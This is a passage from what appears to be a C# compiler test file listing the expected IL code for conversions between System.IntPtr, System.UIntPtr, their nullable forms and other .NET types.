conversions(sourceType: "System.IntPtr?", destType: "short", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.IntPtr", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.i2"), expectedCheckedIL: convAndExplicitFromNullableT("System.IntPtr", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.i2"));
conversions(sourceType: "System.IntPtr?", destType: "ushort", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.IntPtr", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.u2"), expectedCheckedIL: convAndExplicitFromNullableT("System.IntPtr", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u2"));
conversions(sourceType: "System.IntPtr?", destType: "int", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.IntPtr", "int System.IntPtr.op_Explicit(System.IntPtr)"));
conversions(sourceType: "System.IntPtr?", destType: "uint", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.IntPtr", "int System.IntPtr.op_Explicit(System.IntPtr)"), expectedCheckedIL: convAndExplicitFromNullableT("System.IntPtr", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u4"));
conversions(sourceType: "System.IntPtr?", destType: "long", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.IntPtr", "long System.IntPtr.op_Explicit(System.IntPtr)"));
conversions(sourceType: "System.IntPtr?", destType: "ulong", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.IntPtr", "long System.IntPtr.op_Explicit(System.IntPtr)"), expectedCheckedIL: convAndExplicitFromNullableT("System.IntPtr", "long System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u8"));
conversions(sourceType: "System.IntPtr?", destType: "float", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.IntPtr", "long System.IntPtr.op_Explicit(System.IntPtr)", "conv.r4"));
conversions(sourceType: "System.IntPtr?", destType: "double", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.IntPtr", "long System.IntPtr.op_Explicit(System.IntPtr)", "conv.r8"));
conversions(sourceType: "System.IntPtr?", destType: "decimal", expectedImplicitIL: null,
@"{
// Code size 18 (0x12)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""System.IntPtr System.IntPtr?.Value.get""
IL_0007: call ""long System.IntPtr.op_Explicit(System.IntPtr)""
IL_000c: call ""decimal decimal.op_Implicit(long)""
IL_0011: ret
}");
conversions(sourceType: "System.IntPtr?", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL:
@"{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""System.IntPtr System.IntPtr?.Value.get""
IL_0007: ret
}");
conversions(sourceType: "System.IntPtr?", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.IntPtr?", destType: "bool?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.IntPtr?", destType: "char?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.IntPtr", "char", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.u2"), expectedCheckedIL: convAndExplicitFromToNullableT("System.IntPtr", "char", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u2"));
conversions(sourceType: "System.IntPtr?", destType: "sbyte?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.IntPtr", "sbyte", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.i1"), expectedCheckedIL: convAndExplicitFromToNullableT("System.IntPtr", "sbyte", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.i1"));
conversions(sourceType: "System.IntPtr?", destType: "byte?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.IntPtr", "byte", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.u1"), expectedCheckedIL: convAndExplicitFromToNullableT("System.IntPtr", "byte", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u1"));
conversions(sourceType: "System.IntPtr?", destType: "short?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.IntPtr", "short", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.i2"), expectedCheckedIL: convAndExplicitFromToNullableT("System.IntPtr", "short", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.i2"));
conversions(sourceType: "System.IntPtr?", destType: "ushort?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.IntPtr", "ushort", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.u2"), expectedCheckedIL: convAndExplicitFromToNullableT("System.IntPtr", "ushort", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u2"));
conversions(sourceType: "System.IntPtr?", destType: "int?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.IntPtr", "int", "int System.IntPtr.op_Explicit(System.IntPtr)"));
conversions(sourceType: "System.IntPtr?", destType: "uint?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.IntPtr", "uint", "int System.IntPtr.op_Explicit(System.IntPtr)"), expectedCheckedIL: convAndExplicitFromToNullableT("System.IntPtr", "uint", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u4"));
conversions(sourceType: "System.IntPtr?", destType: "long?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.IntPtr", "long", "long System.IntPtr.op_Explicit(System.IntPtr)"));
conversions(sourceType: "System.IntPtr?", destType: "ulong?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.IntPtr", "ulong", "long System.IntPtr.op_Explicit(System.IntPtr)"), expectedCheckedIL: convAndExplicitFromToNullableT("System.IntPtr", "ulong", "long System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u8"));
conversions(sourceType: "System.IntPtr?", destType: "float?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.IntPtr", "float", "long System.IntPtr.op_Explicit(System.IntPtr)", "conv.r4"));
conversions(sourceType: "System.IntPtr?", destType: "double?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.IntPtr", "double", "long System.IntPtr.op_Explicit(System.IntPtr)", "conv.r8"));
conversions(sourceType: "System.IntPtr?", destType: "decimal?", expectedImplicitIL: null,
@"{
// Code size 39 (0x27)
.maxstack 1
.locals init (System.IntPtr? V_0,
decimal? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool System.IntPtr?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""decimal?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""System.IntPtr System.IntPtr?.GetValueOrDefault()""
IL_001c: call ""long System.IntPtr.op_Explicit(System.IntPtr)""
IL_0021: newobj ""decimal?..ctor(decimal)""
IL_0026: ret
}");
conversions(sourceType: "System.IntPtr?", destType: "System.IntPtr?", expectedImplicitIL: convNone, expectedExplicitIL: convNone);
conversions(sourceType: "System.IntPtr?", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "object", destType: "System.IntPtr", expectedImplicitIL: null,
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: unbox.any ""System.IntPtr""
IL_0006: ret
}");
conversions(sourceType: "string", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "void*", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.IntPtr System.IntPtr.op_Explicit(void*)"));
conversions(sourceType: "bool", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "char", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "sbyte", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "byte", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "short", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "ushort", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "int", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "uint", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.IntPtr System.IntPtr.op_Explicit(long)", "conv.u8"));
conversions(sourceType: "long", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.IntPtr System.IntPtr.op_Explicit(long)"));
conversions(sourceType: "ulong", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.IntPtr System.IntPtr.op_Explicit(long)"), expectedCheckedIL: explicitAndConv("System.IntPtr System.IntPtr.op_Explicit(long)", "conv.ovf.i8.un"));
conversions(sourceType: "float", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.IntPtr System.IntPtr.op_Explicit(long)", "conv.i8"), expectedCheckedIL: explicitAndConv("System.IntPtr System.IntPtr.op_Explicit(long)", "conv.ovf.i8"));
conversions(sourceType: "double", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.IntPtr System.IntPtr.op_Explicit(long)", "conv.i8"), expectedCheckedIL: explicitAndConv("System.IntPtr System.IntPtr.op_Explicit(long)", "conv.ovf.i8"));
conversions(sourceType: "decimal", destType: "System.IntPtr", expectedImplicitIL: null,
@"{
// Code size 12 (0xc)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""long decimal.op_Explicit(decimal)""
IL_0006: call ""System.IntPtr System.IntPtr.op_Explicit(long)""
IL_000b: ret
}");
conversions(sourceType: "bool", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "char", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "sbyte", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "byte", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "short", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "ushort", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "int", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "uint", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(long)", "conv.u8"));
conversions(sourceType: "long", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(long)"));
conversions(sourceType: "ulong", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(long)"), expectedCheckedIL: explicitAndConvToNullableT("System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(long)", "conv.ovf.i8.un"));
conversions(sourceType: "float", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(long)", "conv.i8"), expectedCheckedIL: explicitAndConvToNullableT("System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(long)", "conv.ovf.i8"));
conversions(sourceType: "double", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(long)", "conv.i8"), expectedCheckedIL: explicitAndConvToNullableT("System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(long)", "conv.ovf.i8"));
conversions(sourceType: "decimal", destType: "System.IntPtr?", expectedImplicitIL: null,
@"{
// Code size 17 (0x11)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""long decimal.op_Explicit(decimal)""
IL_0006: call ""System.IntPtr System.IntPtr.op_Explicit(long)""
IL_000b: newobj ""System.IntPtr?..ctor(System.IntPtr)""
IL_0010: ret
}");
conversions(sourceType: "bool?", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "char?", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("char", "System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "sbyte?", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("sbyte", "System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "byte?", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("byte", "System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "short?", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("short", "System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "ushort?", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("ushort", "System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "int?", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("int", "System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "uint?", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("uint", "System.IntPtr System.IntPtr.op_Explicit(long)", "conv.u8"));
conversions(sourceType: "long?", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("long", "System.IntPtr System.IntPtr.op_Explicit(long)"));
conversions(sourceType: "ulong?", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("ulong", "System.IntPtr System.IntPtr.op_Explicit(long)"), expectedCheckedIL: explicitAndConvFromNullableT("ulong", "System.IntPtr System.IntPtr.op_Explicit(long)", "conv.ovf.i8.un"));
conversions(sourceType: "float?", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("float", "System.IntPtr System.IntPtr.op_Explicit(long)", "conv.i8"), expectedCheckedIL: explicitAndConvFromNullableT("float", "System.IntPtr System.IntPtr.op_Explicit(long)", "conv.ovf.i8"));
conversions(sourceType: "double?", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("double", "System.IntPtr System.IntPtr.op_Explicit(long)", "conv.i8"), expectedCheckedIL: explicitAndConvFromNullableT("double", "System.IntPtr System.IntPtr.op_Explicit(long)", "conv.ovf.i8"));
conversions(sourceType: "decimal?", destType: "System.IntPtr", expectedImplicitIL: null,
@"{
// Code size 18 (0x12)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""decimal decimal?.Value.get""
IL_0007: call ""long decimal.op_Explicit(decimal)""
IL_000c: call ""System.IntPtr System.IntPtr.op_Explicit(long)""
IL_0011: ret
}");
conversions(sourceType: "bool?", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "char?", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("char", "System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "sbyte?", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("sbyte", "System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "byte?", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("byte", "System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "short?", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("short", "System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "ushort?", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("ushort", "System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "int?", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("int", "System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "uint?", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("uint", "System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(long)", "conv.u8"));
conversions(sourceType: "long?", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("long", "System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(long)"));
conversions(sourceType: "ulong?", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("ulong", "System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(long)"), expectedCheckedIL: explicitAndConvFromToNullableT("ulong", "System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(long)", "conv.ovf.i8.un"));
conversions(sourceType: "float?", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("float", "System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(long)", "conv.i8"), expectedCheckedIL: explicitAndConvFromToNullableT("float", "System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(long)", "conv.ovf.i8"));
conversions(sourceType: "double?", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("double", "System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(long)", "conv.i8"), expectedCheckedIL: explicitAndConvFromToNullableT("double", "System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(long)", "conv.ovf.i8"));
conversions(sourceType: "decimal?", destType: "System.IntPtr?", expectedImplicitIL: null,
@"{
// Code size 39 (0x27)
.maxstack 1
.locals init (decimal? V_0,
System.IntPtr? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool decimal?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""System.IntPtr?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""decimal decimal?.GetValueOrDefault()""
IL_001c: call ""System.IntPtr System.IntPtr.op_Explicit(long)""
IL_0021: newobj ""System.IntPtr?..ctor(System.IntPtr)""
IL_0026: ret
}");
conversions(sourceType: "System.UIntPtr", destType: "object",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: box ""System.UIntPtr""
IL_0006: ret
}",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: box ""System.UIntPtr""
IL_0006: ret
}");
conversions(sourceType: "System.UIntPtr", destType: "string", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.UIntPtr", destType: "void*", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("void* System.UIntPtr.op_Explicit(System.UIntPtr)"));
conversions(sourceType: "System.UIntPtr", destType: "bool", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.UIntPtr", destType: "char", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.u2"), expectedCheckedIL: convAndExplicit("uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.u2.un"));
conversions(sourceType: "System.UIntPtr", destType: "sbyte", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.i1"), expectedCheckedIL: convAndExplicit("uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.i1.un"));
conversions(sourceType: "System.UIntPtr", destType: "byte", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.u1"), expectedCheckedIL: convAndExplicit("uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.u1.un"));
conversions(sourceType: "System.UIntPtr", destType: "short", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.i2"), expectedCheckedIL: convAndExplicit("uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.i2.un"));
conversions(sourceType: "System.UIntPtr", destType: "ushort", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.u2"), expectedCheckedIL: convAndExplicit("uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.u2.un"));
conversions(sourceType: "System.UIntPtr", destType: "int", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("uint System.UIntPtr.op_Explicit(System.UIntPtr)"), expectedCheckedIL: convAndExplicit("uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.i4.un"));
conversions(sourceType: "System.UIntPtr", destType: "uint", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("uint System.UIntPtr.op_Explicit(System.UIntPtr)"));
conversions(sourceType: "System.UIntPtr", destType: "long", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("ulong System.UIntPtr.op_Explicit(System.UIntPtr)"), expectedCheckedIL: convAndExplicit("ulong System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.i8.un"));
conversions(sourceType: "System.UIntPtr", destType: "ulong", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("ulong System.UIntPtr.op_Explicit(System.UIntPtr)"));
conversions(sourceType: "System.UIntPtr", destType: "float", expectedImplicitIL: null,
@"{
// Code size 9 (0x9)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""ulong System.UIntPtr.op_Explicit(System.UIntPtr)""
IL_0006: conv.r.un
IL_0007: conv.r4
IL_0008: ret
}");
conversions(sourceType: "System.UIntPtr", destType: "double", expectedImplicitIL: null,
@"{
// Code size 9 (0x9)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""ulong System.UIntPtr.op_Explicit(System.UIntPtr)""
IL_0006: conv.r.un
IL_0007: conv.r8
IL_0008: ret
}");
conversions(sourceType: "System.UIntPtr", destType: "decimal", expectedImplicitIL: null,
@"{
// Code size 12 (0xc)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""ulong System.UIntPtr.op_Explicit(System.UIntPtr)""
IL_0006: call ""decimal decimal.op_Implicit(ulong)""
IL_000b: ret
}");
conversions(sourceType: "System.UIntPtr", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.UIntPtr", destType: "System.UIntPtr", expectedImplicitIL: convNone, expectedExplicitIL: convNone);
conversions(sourceType: "System.UIntPtr", destType: "bool?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.UIntPtr", destType: "char?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("char", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.u2"), expectedCheckedIL: convAndExplicitToNullableT("char", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.u2.un"));
conversions(sourceType: "System.UIntPtr", destType: "sbyte?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("sbyte", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.i1"), expectedCheckedIL: convAndExplicitToNullableT("sbyte", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.i1.un"));
conversions(sourceType: "System.UIntPtr", destType: "byte?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("byte", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.u1"), expectedCheckedIL: convAndExplicitToNullableT("byte", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.u1.un"));
conversions(sourceType: "System.UIntPtr", destType: "short?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("short", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.i2"), expectedCheckedIL: convAndExplicitToNullableT("short", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.i2.un"));
conversions(sourceType: "System.UIntPtr", destType: "ushort?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("ushort", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.u2"), expectedCheckedIL: convAndExplicitToNullableT("ushort", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.u2.un"));
conversions(sourceType: "System.UIntPtr", destType: "int?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("int", "uint System.UIntPtr.op_Explicit(System.UIntPtr)"), expectedCheckedIL: convAndExplicitToNullableT("int", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.i4.un"));
conversions(sourceType: "System.UIntPtr", destType: "uint?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("uint", "uint System.UIntPtr.op_Explicit(System.UIntPtr)"));
conversions(sourceType: "System.UIntPtr", destType: "long?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("long", "ulong System.UIntPtr.op_Explicit(System.UIntPtr)"), expectedCheckedIL: convAndExplicitToNullableT("long", "ulong System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.i8.un"));
conversions(sourceType: "System.UIntPtr", destType: "ulong?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("ulong", "ulong System.UIntPtr.op_Explicit(System.UIntPtr)"));
conversions(sourceType: "System.UIntPtr", destType: "float?", expectedImplicitIL: null,
@"{
// Code size 14 (0xe)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""ulong System.UIntPtr.op_Explicit(System.UIntPtr)""
IL_0006: conv.r.un
IL_0007: conv.r4
IL_0008: newobj ""float?..ctor(float)""
IL_000d: ret
}");
conversions(sourceType: "System.UIntPtr", destType: "double?", expectedImplicitIL: null,
@"{
// Code size 14 (0xe)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""ulong System.UIntPtr.op_Explicit(System.UIntPtr)""
IL_0006: conv.r.un
IL_0007: conv.r8
IL_0008: newobj ""double?..ctor(double)""
IL_000d: ret
}");
conversions(sourceType: "System.UIntPtr", destType: "decimal?", expectedImplicitIL: null,
@"{
// Code size 17 (0x11)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""ulong System.UIntPtr.op_Explicit(System.UIntPtr)""
IL_0006: call ""decimal decimal.op_Implicit(ulong)""
IL_000b: newobj ""decimal?..ctor(decimal)""
IL_0010: ret
}");
conversions(sourceType: "System.UIntPtr", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.UIntPtr", destType: "System.UIntPtr?",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: newobj ""System.UIntPtr?..ctor(System.UIntPtr)""
IL_0006: ret
}",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: newobj ""System.UIntPtr?..ctor(System.UIntPtr)""
IL_0006: ret
}");
conversions(sourceType: "System.UIntPtr?", destType: "bool", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.UIntPtr?", destType: "char", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.UIntPtr", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.u2"), expectedCheckedIL: convAndExplicitFromNullableT("System.UIntPtr", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.u2.un"));
conversions(sourceType: "System.UIntPtr?", destType: "sbyte", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.UIntPtr", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.i1"), expectedCheckedIL: convAndExplicitFromNullableT("System.UIntPtr", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.i1.un"));
